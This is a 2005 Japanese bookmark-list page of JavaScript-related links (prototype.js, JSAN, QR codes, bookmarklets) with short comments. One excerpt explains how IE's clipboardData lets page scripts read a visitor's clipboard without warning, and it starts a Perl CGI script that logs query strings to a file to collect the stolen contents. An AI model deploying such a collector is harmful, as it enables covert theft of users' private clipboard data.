タグ

javascriptとJavaScriptに関するnipotanのブックマーク (260)

  • prototype.js v1.5.0 の使い方

    それは何? prototype.js は Sam Stephenson によって書かれた JavaScript ライブラリです。 この熟考の上記述された標準に準拠したコードは、Web 2.0 において特徴となるリッチでインタラクティブなウェブページを制作する際の重荷を、あなたの肩から取り去ってくれるでしょう。 もしこのライブラリを使ったことがあるなら、充実したドキュメントがこのライブラリの売りではないことに気がついたはずです。 私は他の開発者と同様に、ソースコードを読み、試行錯誤しながら prototype.js を理解しました。 自分が学んでいる間にメモを取り、それを他の人たちと共有することは価値があるのでは、と考えたのです。 加えて、このライブラリによって提供されているオブジェクト、クラス、関数、拡張機能についての 非公式リファレンス も提供しています。 ここで提供する例とリファレンス

    nipotan
    nipotan 2005/11/24
    まとまってる
  • あなたのクリップボードが盗まれる - Ceekz Logs

    IE には、便利な機能がある。それは、スクリプト(JavaScript etc..)でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと(setData)、読み出すこと(getData)、消去すること(clearData)の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:

  • YappoLogs: JavaScript::Swell - Web2.0 時代のHackモジュール

    JavaScript::Swell - Web2.0 時代のHackモジュール ここ最近はJavaScriptもかなり注目をされており、色々なサイトのjsファイルを読みふけってる方も多いと思います。 そこで困るのがSquishされて見づらくなったソースコードなのではないでしょうか? 皆さん、それぞれ苦労して見やすいソースに修正して日々Hackされてることと思います。 そんな苦労erにぴったりなモジュールがありました。 JavaScript::Swellです。 Squishの逆でSwellというなんともな名前です。 使い方も簡単でした。 use JavaScript::Swell; print JavaScript::Swell->swell("var i=0;if(i++){var a=-1;}");ってなコードで var i = 0; if (i++) { var a = -1; } こ

    nipotan
    nipotan 2005/11/22
    あ、nipotan メソッドだ!…は別として便利そう。
  • 11月11日の技術勉強会 - はてな技術発表会日記 - 機能変更、お知らせなど

    8月17日の技術勉強会 - Flexレイアウト手書き勉強会 8月17日に行われました技術発表会の内容を撮影した動画ファイル/資料を公開いたしました。内容は以下のとおりです。 テーマ Flexレイアウト手書き勉強会 発表者 d:id:secondlife 勉強会動画 ダウンロード…

    11月11日の技術勉強会 - はてな技術発表会日記 - 機能変更、お知らせなど
  • テキストによるプログレスバーを実現するライブラリ ProgressText.js

    日頃より楽天のサービスをご利用いただきましてありがとうございます。 サービスをご利用いただいておりますところ大変申し訳ございませんが、現在、緊急メンテナンスを行わせていただいております。 お客様には、緊急のメンテナンスにより、ご迷惑をおかけしており、誠に申し訳ございません。 メンテナンスが終了次第、サービスを復旧いたしますので、 今しばらくお待ちいただけますよう、お願い申し上げます。

    nipotan
    nipotan 2005/11/17
    おもろいけど、使えるのかな…
  • #!shebang.jp : Yellow Fade Technique

    November 14, 200515:50 Yellow Fade Technique カテゴリ技術ネタ 最近、よく見かけるので prototype.js 使って実装してみる。 fat.js ってもっと便利なやつもあるけど、単純にやってる事がよく分かるように実装してみたつもり。 エフェクトをかけたい要素の id を指定して、 <script type="text/javascript"> new Fade('id'); </script> みたいな感じで使う。 var Fade = Class.create(); Fade.Colors = ['#ffff99', '#ffffaa', '#ffffbb', '#ffffcc', '#ffffdd', '#ffffee', '#ffffff',]; Fade.prototype = { initialize: function(eleme

    nipotan
    nipotan 2005/11/14
    手軽に実装出来るなぁ。相変わらず $(element) な書き方を見るとポカーンとなる orz
  • 2005年11月の日記

    2005年11月1日(火) ●冥王星の衛星の数は1個ではなくて3個らしい 冥王星は唯一の衛星カロンを持つことが知られていますが、今年5月のハッブル宇宙望遠鏡による観測で新たに2個の衛星と思われる天体が見つかったと発表されました。新たに見つかった天体は冥王星からおよそ44000kmの位置にあり、明るさは冥王星とカロンのおよそ1/5000と非常に暗く、当に冥王星の衛星であるかどうかは来年2月に再び観測して確認するそうです。冥王星の発見は1930年、カロンの発見は1978年ですから、確認されれば27年ぶりの冥王星の衛星の発見となります。また、太陽系の惑星の衛星の数は、水星0、金星0、地球1、火星2、木星63、土星47、天王星27、海王星13、冥王星3、合計156個になります。冥王星に衛星が3個あるなら、他のカイパーベルト天体の中にも2個以上の衛星を持つものがあるかも知れません。 NASA's

    nipotan
    nipotan 2005/11/11
    ぐりぐり
  • HTMLリアルタイム編集(ブックマークレット) @ ZEROBASE BLOG

    quickedit by ZEROBASE'+b.innerHTML.replace(/&/g,'&').replace(//g,'>').replace(/"/g,'"')+'');var t=x.getElementById('t');t.onchange=t.onkeyup=function(){b.innerHTML=t.value;};}())">[HTML編集] このリンクをブラウザのブックマークバーにドラッグ&ドロップするなどにより登録してください。 使い方 編集したいページで上記ブックマークレットを実行します。ためしに上記リンクをクリックしてみてください。 テキストエリア内にHTMLが表示されますので、それを編集してください。変更が即座に反映され、もとのウィンドウが書き換わります。 書き換えているのは、ブラウザのメモリ上のHTMLです。サーバには何の影響もありません。 便利

    nipotan
    nipotan 2005/10/27
    禿しく便利だけど全然 Ajax ではない。
  • JavaScript の new 演算子の意味: Days on the Moon

    JavaScript における new 演算子の動作は大まかにいって以下のとおりである。(new F() とした場合。) 新しいオブジェクトを作る。 1 で作ったオブジェクトの [[Prototype]] 内部プロパティ (__proto__ プロパティ) に F.prototype の値を設定する。 F.prototype の値がオブジェクトでないのなら代わりに Object.prototype の値を設定する。 F を呼び出す。このとき this の値は 1 で作ったオブジェクトとし、引数には new 演算子とともに使われた引数をそのまま用いる。 3 の返り値がオブジェクトならそれを返す。そうでなければ 1 で作ったオブジェクトを返す。 ここで「オブジェクトである」というのはプリミティブ値 (文字列、数値、真偽値、undefined 、null) ではないということだ。new Stri

    nipotan
    nipotan 2005/10/25
    おぼろげに知っとるぐらいだった
  • ぽすれんのメール便の配送状況をお手軽にチェック : にぽたん研究所

    最近よく、ぽすれんという、ネットで借りてポストで返すという DVD レンタルのサービスを利用しているわけですが、配送には、日曜日も配送してくれるクロネコヤマトのメール便を使っていたりします。 んで、ナニゲにおいらが住むところはいつもいつも配送時刻が遅く、わざわざ自宅のポストに見に行くのが面倒くさいので、ぽすれんのマイページからリンクされている「クロネコヤマトの荷物お問い合わせシステム」に行ってわざわざ配送番号をコピペして配送状況をチェックして「配達完了」になるのを待ってからポストに DVD を取りに行ってるわけです。 んで、毎回毎回コピペするのが面倒くさいので、フォームに fill-in されていたらいいのに…って思うわけですよ。 そこで、ふと思い出したんですが、Google の特殊機能で、ヤマト運輸の伝票番号で配送状況検索が出来るんですよね。 具体的には、Google の検索キーワードが

    ぽすれんのメール便の配送状況をお手軽にチェック : にぽたん研究所
    nipotan
    nipotan 2005/10/24
    そもそもこれを有り難く感じる人がどれだけいるのか甚だ疑問だ。
  • On the Road

    nipotan
    nipotan 2005/10/24
    XML を css で見映えを変え、js で制御する Mozilla Layout Engine のサンプル
  • こせきの日記

    Mozillaで実装されているselectionStart/selectionEndをIEでも使えるようにする、Selection.jsを公開しました。 IEのTextRangeオブジェクトは、 range.textを書き換えると選択範囲末尾の改行が消えてしまう。 選択範囲の前後のコンテクストを見て処理を行うのが難しい。 のような使いにくい点があります。 これは、HTMLの書き換えでは問題にならないかもしれませんが、テキストエリア内の文字列を書き換える場合にやっかいな問題を引き起こします*1。 一方、MozillaのselectionStart/selectionEndは、textarea.valueに対する文字列操作として実装できるため、余計な心配が要りません。 というわけで、クロスブラウザなselectionStart/selectionEndを実現するSelection.jsを作成し

    こせきの日記
    nipotan
    nipotan 2005/10/24
    やっぱ Safari はだめかぁ…
  • hbkr : ハバカリ | 音とアイコンでリンクの開き先を表現する

    kazuma ieiri, イエイリカズマ,家入一真作ってみたよ。下のリンクにマウスオーバーしてみてください。 例1:このウィンドウ内でリンクを表示 例2:新しくウィンドウを開いてリンクを表示 どうですか?aタグのtargetで判別して、onmouseoverでswfを表示してるだけなんですけど、単なるhtmlでも音と動きが出るとちょっと面白いですよね。 ・・ うざい・・ 【関連URL】aタグで飛び先のタイトルとキャプチャを取得

    nipotan
    nipotan 2005/10/20
    うざイイかんじ。
  • Pure JavaScriptによるQRコード生成ライブラリ

    これは何 QRコード クラス ライブラリ for RubyJavaScriptに移植したものです。 → このフォルダを丸ごと圧縮したものをダウンロード 目的 無駄なものにどれだけ情熱をささげられるかのテスト。 注意 1GHzのマシンで5秒から10秒ぐらいかかります。ブラウザがクラッシュしても問題ない状態で試してください。 日語はUTF-8エンコードで出力してます。多分ほとんどのリーダーで読み取れません。(携帯持ってないんで知らない) 動作テスト 処理時間 : 変換する文字列 文字列をQRコードに変換

    nipotan
    nipotan 2005/10/05
    テラスゴス
  • Collection & Copy - AJAX/JavaScriptライブラリまとめ

    AJAX/JavaScriptライブラリまとめ (2005/9/6 Revision .1.3) 翻訳 原文:Survey of AJAX/JavaScript Libraries Copyright 2005 by Sergio Pereira, Joe Walker, Matthew Eernisse ※翻訳は、2005/9/6の1.3版を基に作成されています。原文であるWikiページは、1.18以上に更新が進み記載されているライブラリの数が増え、複数の誤りが修正されているようです。最新の情報は原文を参照してください。 Prototype (http://prototype.conio.net/) ライセンス:MIT 概要: Prototypeは、動的なウェブアプリケーションの開発を容易にするためのJavaScriptフレームワークです。Ruby on Railsフレームワーク駆動で

    nipotan
    nipotan 2005/09/12
    すばらしい。
  • 日本語テキストをテーブルで表示する - bkブログ

    語テキストをテーブルで表示する DHTML でテーブルを作って日語テキストを表示します。 文字を逆さまにすることもできます。 「将棋JavaScript で作りたい。 駒を表示するために文字を逆さまにしたい。画像は使いたくない」 というようなことを知人が言っていたのに触発されて作りました。 いわゆる一発ネタです。 フォントは kbanner2 のものを変換して使っています。 ソースコード: font.js, tabletext.js, mkjsfont.rb 表示エリア

    nipotan
    nipotan 2005/07/07
    これすげー
  • JSAN

    This infrastructure is considered to be beta. Everything should be usable, to a certain degree.

    nipotan
    nipotan 2005/07/01
    CPAN をクパンと読む人は JSAN を何と読む?
  • JavaScript Terminal Frontier : にぽたん研究所

    おもしろいですねー 最近*なんとか*メソッドっていう名前をつけるのが流行ってるので,「Terminal Frontier」を駆使するソリューションにも名前を付けるのが普及への第一歩だと思います。島男メソッドとか,フロンティアメソッドあたりが妥当でしょうか。 # すでにつけてるよって場合はごめんなさい。

    JavaScript Terminal Frontier : にぽたん研究所
  • YappoLogs: Acme::Monta - (ry

    Acme::Monta - (ry さらに悪ノリしますた。 use Acme::Monta; my $monta = Acme::Monta->new(); print $monta->montaize('健康になるには<monta>野菜</monta>の摂取が大事'); こんな感じです。 <monta>タグでくくられた内容をmontaizeします。 ようはもんたメソッドもじゅーるですな。 マウスカーソルの変更やメソッド名のネタを頂きました。 Acme::MontaでCPAN登録済みというオチですが。 なのでperl -MCPANでどうぞ。 Posted by Yappo at 2005年06月09日 01:35 | TrackBack | Perl

    nipotan
    nipotan 2005/06/09
    「アクメモンタ」と書くとちょっとかっこいい。
  • 最速インターフェース研究会 :: もんたメソッドなプレゼン作成ツール

    今回は2分で作った。 手抜きですが何。まあいいや。とりあえず晒しとこう。 http://la.ma.la/misc/js/monta.html 降板するという話もあるので、どうなるんでしょうか、名前。 ---- もんたメソッドとは http://www.bricklife.com/weblog/000626.html ---- 追記 piroたんが何か作ってるという噂。

    nipotan
    nipotan 2005/05/31
    function 名は takahashi()